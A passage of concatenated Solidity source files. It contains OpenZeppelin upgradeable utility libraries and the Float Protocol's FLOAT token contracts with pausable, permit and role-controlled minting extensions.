return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
/**
* @title Basket Actions with suitable access control
* @notice Contains actions which can only be called by governance.
*/
interface IBasketGovernedActions {
event NewTargetRatio(uint256 targetRatio);
/**
* @notice Sets the basket target factor, initially "1"
* @dev Expects an [e27] fixed point decimal value.
* Target Ratio is what the basket factor is "aiming for",
* i.e. target ratio = 0.8 then an 80% support from the basket
* results in a 100% Basket Factor.
* @param _targetRatio [e27] The new Target ratio
*/
function setTargetRatio(uint256 _targetRatio) external;
/**
* @notice Connect and approve a new auction house to spend from the basket.
* @dev Note that any allowance can be set, and even type(uint256).max will
* slowly be eroded.
* @param _auctionHouse The Auction House address to approve
* @param _allowance The amount of the underlying token it can spend
*/
function buildAuctionHouse(address _auctionHouse, uint256 _allowance)
external;
/**
* @notice Remove an auction house, allows easy upgrades.
* @param _auctionHouse The Auction House address to revoke.
*/
function burnAuctionHouse(address _auctionHouse) external;
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "../BasketMath.sol";
contract BasketMathHarness {
function _calcBasketFactor(
uint256 targetPriceInEth,
uint256 ethStored,
uint256 floatSupply,
uint256 targetRatio
) external pure returns (uint256 basketFactor) {
return
BasketMath.calcBasketFactor(
targetPriceInEth,
ethStored,
floatSupply,
targetRatio
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
/**
* @title {ERC20} Pausable token through the PAUSER_ROLE
*
* @dev This contract uses OpenZeppelin {AccessControlUpgradeable} to lock permissioned functions using the different roles.
*/
abstract contract ERC20PausableUpgradeable is
Initializable,
PausableUpgradeable,
AccessControlUpgradeable,
ERC20Upgradeable
{
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
// solhint-disable-next-line func-name-mixedcase
function __ERC20Pausable_init_unchained(address pauser) internal initializer {
_setupRole(PAUSER_ROLE, pauser);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() external {
require(
hasRole(PAUSER_ROLE, _msgSender()),
"ERC20Pausable/PauserRoleRequired"
);
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() external {
require(
hasRole(PAUSER_ROLE, _msgSender()),
"ERC20Pausable/PauserRoleRequired"
);
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable) {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable/Paused");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/ContextUpgradeable.sol";
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../proxy/Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "./ERC20PermitUpgradeable.sol";
import "./ERC20PausableUpgradeable.sol";
import "./ERC20SupplyControlledUpgradeable.sol";
/**
* @dev {ERC20} FLOAT token, including:
*
* - a minter role that allows for token minting (necessary for stabilisation)
* - the ability to burn tokens (necessary for stabilisation)
* - the use of permits to reduce gas costs
* - a pauser role that allows to stop all token transfers
*
* This contract uses OpenZeppelin {AccessControlUpgradeable} to lock permissioned functions
* using the different roles.
* This contract is upgradable.
*/
contract FloatTokenV1 is
ERC20PausableUpgradeable,
ERC20PermitUpgradeable,
ERC20SupplyControlledUpgradeable
{
/**
* @notice Construct a FloatTokenV1 instance
* @param governance The default role controller, minter and pauser for the contract.
* @param minter An additional minter (useful for quick launches, check this is revoked)
* @dev We expect minters to be defined on deploy, e.g. AuctionHouse should get minter role
*/
function initialize(address governance, address minter) external initializer {
__Context_init_unchained();
__ERC20_init_unchained("Float Protocol: FLOAT", "FLOAT");
__ERC20Permit_init_unchained("Float Protocol: FLOAT", "1");
__ERC20Pausable_init_unchained(governance);
__ERC20SupplyControlled_init_unchained(governance);
_setupRole(DEFAULT_ADMIN_ROLE, governance);
// Quick launches
_setupRole(MINTER_ROLE, minter);
}
/// @dev Hint to compiler, that this override has already occured.
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) {
super._beforeTokenTransfer(from, to, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/GSN/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "../external-lib/Counters.sol";
import "../external-lib/EIP712.sol";
import "./interfaces/IERC20Permit.sol";
/**
* @dev Wrapper implementation for ERC20 Permit extension allowing approvals
* via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612.
*/
contract ERC20PermitUpgradeable is
IERC20Permit,
Initializable,
ERC20Upgradeable
{
using Counters for Counters.Counter;
bytes32 private constant PERMIT_TYPEHASH =
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
bytes32 internal _domainSeparator;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line func-name-mixedcase
function __ERC20Permit_init_unchained(
string memory domainName,
string memory version
) internal initializer {
_domainSeparator = EIP712.domainSeparatorV4(domainName, version);
}
/// @inheritdoc IERC20Permit
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR()
external
view
override(IERC20Permit)
returns (bytes32)
{
return _domainSeparator;
}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override(IERC20Permit) {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ERC20Permit/ExpiredDeadline");
bytes32 structHash =
keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
_useNonce(owner),
deadline
)
);
bytes32 hash = EIP712.hashTypedDataV4(_domainSeparator, structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit/InvalidSignature");
_approve(owner, spender, value);
}
/// @inheritdoc IERC20Permit
function nonces(address owner)
external
view
virtual
override(IERC20Permit)
returns (uint256)
{
return _nonces[owner].current();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
uint256[48] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title {ERC20} Supply Controlled token that allows burning (by all), and minting
* by MINTER_ROLE
*
* @dev This contract uses OpenZeppelin {AccessControlUpgradeable} to lock permissioned functions using the different roles.
*/
abstract contract ERC20SupplyControlledUpgradeable is
Initializable,
AccessControlUpgradeable,
ERC20Upgradeable
{
using SafeMath for uint256;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
// solhint-disable-next-line func-name-mixedcase
function __ERC20SupplyControlled_init_unchained(address minter)
internal
initializer
{
_setupRole(MINTER_ROLE, minter);
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) external virtual {
require(
hasRole(MINTER_ROLE, _msgSender()),
"ERC20SupplyControlled/MinterRole"
);
_mint(to, amount);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) external virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for `accounts`'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) external virtual {
uint256 decreasedAllowance =
allowance(account, _msgSender()).sub(
amount,
"ERC20SupplyControlled/Overburn"
);
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
/**
* @title Counters
* @author Matt Condon (@shrugs) https://github.com/OpenZeppelin/openzeppelin-contracts
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
